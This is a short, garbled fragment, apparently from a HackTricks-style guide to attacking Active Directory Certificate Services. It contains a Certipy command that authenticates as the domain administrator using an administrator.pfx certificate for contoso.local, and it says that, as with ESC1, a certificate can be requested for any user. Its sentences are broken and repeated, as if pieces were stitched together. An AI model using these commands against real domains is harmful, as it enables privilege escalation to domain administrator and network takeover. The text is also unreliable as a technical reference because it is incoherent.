certipy auth -pfx administrator.pfx -domain contoso.local
The guide follows the standard HackTricks philosophy: . hacktricks adcs
: Similar to ESC1, request a certificate for any user. certipy auth -pfx administrator